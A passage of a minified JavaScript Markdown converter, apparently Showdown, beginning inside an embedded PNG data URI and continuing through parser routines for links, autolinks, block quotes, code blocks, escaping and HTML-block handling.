AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0idyI/Pse7bzcAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOkAAHUwAADqYAAAOpgAABdvkl/FRgAAA1JJREFUeNrsm1+OmlAUhz+aeS9dwZggJn1AnRUMO6jpBgZXULuC2hWUWUGZBTSxKyiuoA4mfUBMnB04K5g+9DihRBHlyh/lJLwIXLgf99xzzu9etZeXFy7Z3nDh1gBoAFy4XeVtQNO0zNcapmUDfUBPnFoBfhQGq6IBaHmjwD4Ahmk5wAD4kKG5J8CNwsAFaHe6DvA9cc0wCgOv8gDka3vA9RHNPgo0D7hNnJtGYWBXxgV2dH4MfMnRRA+Y1WIO2NJ5F/ikoKm3tYsChmkNFHW+fmHQMC1dfHaXPQP3wM1yMdc2B/AOGALTWobBmI1Shu0UGCwX83XyRBQGawHntTtdG5gUNfxVu4CTNqNv6/wWGL7kCc+1AmCYVisl3I2ydD4GYZUCs7IjoLXrxHIx9w9tLAqDCfBwDrXAY457x+cAoCfuwRGjYFUnAGk+PsjR7s8Dn1VeLWCYVlpDw+VivjVHSHt+u9PVJbzGzZXQWTkAkz0V31fATUaEsjVJlQBs4FeGcteLgzgbAALBA+4y3voAeJL8nA0AHfClnM1qm1HhnYUidCSE+KzvSSJUTwAxCOMcpfETMFYpfRUKIAbCFhC3OTJJJwqDWS0BxED0JZ4Pjix1P2+E0loCSMBwyK4S/xc1ojBwag8gMU84cvTKGgmlAYhngu1O9xAXuVE5J1QCQCz3bwHuHvdQui5QKQAxEO6eEKpsFCgTRSXkvdoxSlBMCxhJJbgrrbZRtHCiShN0pRB6PeQ3ckBw2K0oKXMBVYJIP+Nvh9qulFivGoBt1lLQxowT2ykBXCfnhZIglgYACWmqXQv+baioBYCeiCQHm+QEg1O7RhF7hO4OhSAhcJKSFU7qBGADwZeqMMuXn6TUBw8qlaMrirNb4LdhWlP+SWD+cjFfxTpuS2GUpik+o3jFSEkqbJiWn0P0OMSGqlWiOu0TvD+FRHZKAE+oW+cfRmEwqlsesJJEJs8y91QqP+9UL6lqEtz2gpuNEY5sm9sIHln2DRa2aFKGJtiXkZEMiWtgVvRKUSUFkSKt2S7fAGgAXLYpmQQXf36MUChTZdUa2u8/rkvPA6Tz30r4eH3ybcBS5gJ6SaNXb+aABkA1AMxKenclBZLW/He4cYEGwEXb3wEASelexk6LIIIAAAAASUVORK5CYII=">'},p.subParser("makehtml.anchors",function(g,n,o){"use strict";var A=function(g,A,e,C,I,r,t){if(p.helper.isUndefined(t)&&(t=""),e=e.toLowerCase(),-1<g.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))C="";else if(!C){if(e||(e=A.toLowerCase().replace(/ ?\n/g," ")),C="#"+e,p.helper.isUndefined(o.gUrls[e]))return g;C=o.gUrls[e],p.helper.isUndefined(o.gTitles[e])||(t=o.gTitles[e])}var a='<a href="'+(C=C.replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'"';return""!==t&&null!==t&&(a+=' title="'+(t=(t=t.replace(/"/g,"&quot;")).replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'"'),n.openLinksInNewWindow&&!/^#/.test(C)&&(a+=' target="¨E95Eblank"'),a+=">"+A+"</a>"};return g=(g=(g=(g=(g=o.converter._dispatch("makehtml.anchors.before",g,n,o)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)] ?(?:\n *)?\[(.*?)]()()()()/g,A)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<([^>]*)>(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,A)).replace(/\[((?:\[[^\]]*]|[^\[\]])*)]()[ \t]*\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?:[ \t]*((["'])([^"]*?)\5))?[ \t]?\)/g,A)).replace(/\[([^\[\]]+)]()()()()()/g,A),n.ghMentions&&(g=g.replace(/(^|\s)(\\)?(@([a-z\d\-]+))(?=[.!?;,[\]()]|\s|$)/gim,function(g,A,e,C,I){if("\\"===e)return A+C;if(!p.helper.isString(n.ghMentionsLink))throw new Error("ghMentionsLink option must be a string");var r=n.ghMentionsLink.replace(/\{u}/g,I),t="";return n.openLinksInNewWindow&&(t=' target="¨E95Eblank"'),A+'<a href="'+r+'"'+t+">"+C+"</a>"})),g=o.converter._dispatch("makehtml.anchors.after",g,n,o)});var I=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+?\.[^'">\s]+?)()(\1)?(?=\s|$)(?!["<>])/gi,t=/([*~_]+|\b)(((https?|ftp|dict):\/\/|www\.)[^'">\s]+\.[^'">\s]+?)([.!?,()\[\]])?(\1)?(?=\s|$)(?!["<>])/gi,a=/()<(((https?|ftp|dict):\/\/|www\.)[^'">\s]+)()>()/gi,n=/(^|\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-/=?^_`{|}~.]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)(?=$|\s)/gim,o=/<()(?:mailto:)?([-.\w]+@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/gi,s=function(l){"use strict";return function(g,A,e,C,I,r,t){var a=e=e.replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback),n="",o="",s=A||"",i=t||"";return/^www\./i.test(e)&&(e=e.replace(/^www\./i,"http://www.")),l.excludeTrailingPunctuationFromURLs&&r&&(n=r),l.openLinksInNewWindow&&(o=' target="¨E95Eblank"'),s+'<a href="'+e+'"'+o+">"+a+"</a>"+n+i}},d=function(I,r){"use strict";return function(g,A,e){var C="mailto:";return A=A||"",e=p.subParser("makehtml.unescapeSpecialChars")(e,I,r),I.encodeEmails?(C=p.helper.encodeEmailAddress(C+e),e=p.helper.encodeEmailAddress(e)):C+=e,A+'<a href="'+C+'">'+e+"</a>"}};p.subParser("makehtml.autoLinks",function(g,A,e){"use strict";return g=(g=(g=e.converter._dispatch("makehtml.autoLinks.before",g,A,e)).replace(a,s(A))).replace(o,d(A,e)),g=e.converter._dispatch("makehtml.autoLinks.after",g,A,e)}),p.subParser("makehtml.simplifiedAutoLinks",function(g,A,e){"use strict";return A.simplifiedAutoLink?(g=e.converter._dispatch("makehtml.simplifiedAutoLinks.before",g,A,e),g=(g=A.excludeTrailingPunctuationFromURLs?g.replace(t,s(A)):g.replace(I,s(A))).replace(n,d(A,e)),g=e.converter._dispatch("makehtml.simplifiedAutoLinks.after",g,A,e)):g}),p.subParser("makehtml.blockGamut",function(g,A,e){"use strict";return g=e.converter._dispatch("makehtml.blockGamut.before",g,A,e),g=p.subParser("makehtml.blockQuotes")(g,A,e),g=p.subParser("makehtml.headers")(g,A,e),g=p.subParser("makehtml.horizontalRule")(g,A,e),g=p.subParser("makehtml.lists")(g,A,e),g=p.subParser("makehtml.codeBlocks")(g,A,e),g=p.subParser("makehtml.tables")(g,A,e),g=p.subParser("makehtml.hashHTMLBlocks")(g,A,e),g=p.subParser("makehtml.paragraphs")(g,A,e),g=e.converter._dispatch("makehtml.blockGamut.after",g,A,e)}),p.subParser("makehtml.blockQuotes",function(g,A,e){"use strict";g=e.converter._dispatch("makehtml.blockQuotes.before",g,A,e),g+="\n\n";var C=/(^ {0,3}>[ \t]?.+\n(.+\n)*\n*)+/gm;return A.splitAdjacentBlockquotes&&(C=/^ {0,3}>[\s\S]*?(?:\n\n)/gm),g=g.replace(C,function(g){return g=(g=(g=g.replace(/^[ \t]*>[ \t]?/gm,"")).replace(/¨0/g,"")).replace(/^[ \t]+$/gm,""),g=p.subParser("makehtml.githubCodeBlocks")(g,A,e),g=(g=(g=p.subParser("makehtml.blockGamut")(g,A,e)).replace(/(^|\n)/g,"$1  ")).replace(/(\s*<pre>[^\r]+?<\/pre>)/gm,function(g,A){var e=A;return e=(e=e.replace(/^  /gm,"¨0")).replace(/¨0/g,"")}),p.subParser("makehtml.hashBlock")("<blockquote>\n"+g+"\n</blockquote>",A,e)}),g=e.converter._dispatch("makehtml.blockQuotes.after",g,A,e)}),p.subParser("makehtml.codeBlocks",function(g,t,a){"use strict";g=a.converter._dispatch("makehtml.codeBlocks.before",g,t,a);return g=(g=(g+="¨0").replace(/(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=¨0))/g,function(g,A,e){var C=A,I=e,r="\n";return C=p.subParser("makehtml.outdent")(C,t,a),C=p.subParser("makehtml.encodeCode")(C,t,a),C=(C=(C=p.subParser("makehtml.detab")(C,t,a)).replace(/^\n+/g,"")).replace(/\n+$/g,""),t.omitExtraWLInCodeBlocks&&(r=""),C="<pre><code>"+C+r+"</code></pre>",p.subParser("makehtml.hashBlock")(C,t,a)+I})).replace(/¨0/,""),g=a.converter._dispatch("makehtml.codeBlocks.after",g,t,a)}),p.subParser("makehtml.codeSpans",function(g,r,t){"use strict";return void 0===(g=t.converter._dispatch("makehtml.codeSpans.before",g,r,t))&&(g=""),g=g.replace(/(^|[^\\])(`+)([^\r]*?[^`])\2(?!`)/gm,function(g,A,e,C){var I=C;return I=(I=I.replace(/^([ \t]*)/g,"")).replace(/[ \t]*$/g,""),I=A+"<code>"+(I=p.subParser("makehtml.encodeCode")(I,r,t))+"</code>",I=p.subParser("makehtml.hashHTMLSpans")(I,r,t)}),g=t.converter._dispatch("makehtml.codeSpans.after",g,r,t)}),p.subParser("makehtml.completeHTMLDocument",function(g,A,e){"use strict";if(!A.completeHTMLDocument)return g;g=e.converter._dispatch("makehtml.completeHTMLDocument.before",g,A,e);var C="html",I="<!DOCTYPE HTML>\n",r="",t='<meta charset="utf-8">\n',a="",n="";for(var o in void 0!==e.metadata.parsed.doctype&&(I="<!DOCTYPE "+e.metadata.parsed.doctype+">\n","html"!==(C=e.metadata.parsed.doctype.toString().toLowerCase())&&"html5"!==C||(t='<meta charset="utf-8">')),e.metadata.parsed)if(e.metadata.parsed.hasOwnProperty(o))switch(o.toLowerCase()){case"doctype":break;case"title":r="<title>"+e.metadata.parsed.title+"</title>\n";break;case"charset":t="html"===C||"html5"===C?'<meta charset="'+e.metadata.parsed.charset+'">\n':'<meta name="charset" content="'+e.metadata.parsed.charset+'">\n';break;case"language":case"lang":a=' lang="'+e.metadata.parsed[o]+'"',n+='<meta name="'+o+'" content="'+e.metadata.parsed[o]+'">\n';break;default:n+='<meta name="'+o+'" content="'+e.metadata.parsed[o]+'">\n'}return g=I+"<html"+a+">\n<head>\n"+r+t+n+"</head>\n<body>\n"+g.trim()+"\n</body>\n</html>",g=e.converter._dispatch("makehtml.completeHTMLDocument.after",g,A,e)}),p.subParser("makehtml.detab",function(g,A,e){"use strict";return g=(g=(g=(g=(g=(g=e.converter._dispatch("makehtml.detab.before",g,A,e)).replace(/\t(?=\t)/g,"    ")).replace(/\t/g,"¨A¨B")).replace(/¨B(.+?)¨A/g,function(g,A){for(var e=A,C=4-e.length%4,I=0;I<C;I++)e+=" ";return e})).replace(/¨A/g,"    ")).replace(/¨B/g,""),g=e.converter._dispatch("makehtml.detab.after",g,A,e)}),p.subParser("makehtml.ellipsis",function(g,A,e){"use strict";return g=(g=e.converter._dispatch("makehtml.ellipsis.before",g,A,e)).replace(/\.\.\./g,"…"),g=e.converter._dispatch("makehtml.ellipsis.after",g,A,e)}),p.subParser("makehtml.emoji",function(g,A,e){"use strict";if(!A.emoji)return g;return g=(g=e.converter._dispatch("makehtml.emoji.before",g,A,e)).replace(/:([\S]+?):/g,function(g,A){return p.helper.emojis.hasOwnProperty(A)?p.helper.emojis[A]:g}),g=e.converter._dispatch("makehtml.emoji.after",g,A,e)}),p.subParser("makehtml.encodeAmpsAndAngles",function(g,A,e){"use strict";return g=(g=(g=(g=(g=e.converter._dispatch("makehtml.encodeAmpsAndAngles.before",g,A,e)).replace(/&(?!#?[xX]?(?:[0-9a-fA-F]+|\w+);)/g,"&amp;")).replace(/<(?![a-z\/?$!])/gi,"&lt;")).replace(/</g,"&lt;")).replace(/>/g,"&gt;"),g=e.converter._dispatch("makehtml.encodeAmpsAndAngles.after",g,A,e)}),p.subParser("makehtml.encodeBackslashEscapes",function(g,A,e){"use strict";return g=(g=(g=e.converter._dispatch("makehtml.encodeBackslashEscapes.before",g,A,e)).replace(/\\(\\)/g,p.helper.escapeCharactersCallback)).replace(/\\([`*_{}\[\]()>#+.!~=|-])/g,p.helper.escapeCharactersCallback),g=e.converter._dispatch("makehtml.encodeBackslashEscapes.after",g,A,e)}),p.subParser("makehtml.encodeCode",function(g,A,e){"use strict";return g=(g=e.converter._dispatch("makehtml.encodeCode.before",g,A,e)).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/([*_{}\[\]\\=~-])/g,p.helper.escapeCharactersCallback),g=e.converter._dispatch("makehtml.encodeCode.after",g,A,e)}),p.subParser("makehtml.escapeSpecialCharsWithinTagAttributes",function(g,A,e){"use strict";return g=(g=(g=e.converter._dispatch("makehtml.escapeSpecialCharsWithinTagAttributes.before",g,A,e)).replace(/<\/?[a-z\d_:-]+(?:[\s]+[\s\S]+?)?>/gi,function(g){return g.replace(/(.)<\/?code>(?=.)/g,"$1`").replace(/([\\`*_~=|])/g,p.helper.escapeCharactersCallback)})).replace(/<!(--(?:(?:[^>-]|-[^>])(?:[^-]|-[^-])*)--)>/gi,function(g){return g.replace(/([\\`*_~=|])/g,p.helper.escapeCharactersCallback)}),g=e.converter._dispatch("makehtml.escapeSpecialCharsWithinTagAttributes.after",g,A,e)}),p.subParser("makehtml.githubCodeBlocks",function(g,r,t){"use strict";return r.ghCodeBlocks?(g=t.converter._dispatch("makehtml.githubCodeBlocks.before",g,r,t),g=(g=(g+="¨0").replace(/(?:^|\n)(```+|~~~+)([^\s`~]*)\n([\s\S]*?)\n\1/g,function(g,A,e,C){var I=r.omitExtraWLInCodeBlocks?"":"\n";return C=p.subParser("makehtml.encodeCode")(C,r,t),C="<pre><code"+(e?' class="'+e+" language-"+e+'"':"")+">"+(C=(C=(C=p.subParser("makehtml.detab")(C,r,t)).replace(/^\n+/g,"")).replace(/\n+$/g,""))+I+"</code></pre>",C=p.subParser("makehtml.hashBlock")(C,r,t),"\n\n¨G"+(t.ghCodeBlocks.push({text:g,codeblock:C})-1)+"G\n\n"})).replace(/¨0/,""),t.converter._dispatch("makehtml.githubCodeBlocks.after",g,r,t)):g}),p.subParser("makehtml.hashBlock",function(g,A,e){"use strict";return g=(g=e.converter._dispatch("makehtml.hashBlock.before",g,A,e)).replace(/(^\n+|\n+$)/g,""),g="\n\n¨K"+(e.gHtmlBlocks.push(g)-1)+"K\n\n",g=e.converter._dispatch("makehtml.hashBlock.after",g,A,e)}),p.subParser("makehtml.hashCodeTags",function(g,r,t){"use strict";g=t.converter._dispatch("makehtml.hashCodeTags.before",g,r,t);return g=p.helper.replaceRecursiveRegExp(g,function(g,A,e,C){var I=e+p.subParser("makehtml.encodeCode")(A,r,t)+C;return"¨C"+(t.gHtmlSpans.push(I)-1)+"C"},"<code\\b[^>]*>","</code>","gim"),g=t.converter._dispatch("makehtml.hashCodeTags.after",g,r,t)}),p.subParser("makehtml.hashElement",function(g,A,C){"use strict";return function(g,A){var e=A;return e=(e=(e=e.replace(/\n\n/g,"\n")).replace(/^\n/,"")).replace(/\n+$/g,""),e="\n\n¨K"+(C.gHtmlBlocks.push(e)-1)+"K\n\n"}}),p.subParser("makehtml.hashHTMLBlocks",function(g,A,r){"use strict";g=r.converter._dispatch("makehtml.hashHTMLBlocks.before",g,A,r);var e=["pre","div","h1","h2","h3","h4","h5","h6","blockquote","table","dl","ol","ul","script","noscript","form","fieldset","iframe","math","style","section","header","footer","nav","article","aside","address","audio","canvas","figure","hgroup","output","video","p"],C=function(g,A,e,C){var I=g;return-1!==e.search(/\bmarkdown\b/)&&(I=e+r.converter.makeHtml(A)+C),"\n\n¨K"+(r.gHtmlBlocks.push(I)-1)+"K\n\n"};A.backslashEscapesHTMLTags&&(g=g.replace(/\\<(\/?[^>]+?)>/g,function(g,A){return"&lt;"+A+"&gt;"}));for(var I=0;I<e.length;++I)for(var t,a=new RegExp("^ {0,3}(<"+e[I]+"\\b[^>]*>)","im"),n="<"+e[I]+"\\b[^>]*>",o="</"+e[I]+">";-1!==(t=p.helper.regexIndexOf(g,a));){var s=p.helper.splitAtIndex(g,t),i=p.helper.replaceRecursiveRegExp(s[1],C,n,o,"im");if(i===s[1])break;g=s[0].concat(i)}return g=g.replace(/(\n {0,3}(<(hr)\b([^<>])*?\/?>)[ \t]*(?=\n{2,}))/g,p.subParser("makehtml.hashElement")(g,A,r)),g=(g=p.helper.replaceRecursiveRegExp(g,function(g){return"\n\n¨K"+(r.gHtmlBlocks.push(g)-1)+"K\n\n"},"^ {0,3}\x3c!--","--\x3e","gm")).replace(/(?:\n\n)( {0,3}(?:<([?%])[^\r]*?\2>)[ \t]*(?=\n{2,}))/g,p.subParser("makehtml.hashElement")(g,A,r)),g=r.converter._dispatch("makehtml.hashHTMLBlocks.after",g,A,r)}),p.subParser("makehtml.hashHTMLSpans",function(g,A,e){"use strict";function C(g){return"¨C"+(e.gHtmlSpans.push(g)-1)+"C"}return g=(g=(g=(g=(g=e.converter._dispatch("makehtml.hashHTMLSpans.before",g,A,e)).replace(/<[^>]+?\/>/gi,function(g){return C(g)})).replace(/<([^>]+?)>[\s\S]*?<\/\1>/g,function(g){return C(g)})).replace(/<([^>]+?)\s[^>]+?>[\s\S]*?<\/\1>/g,function(g){return 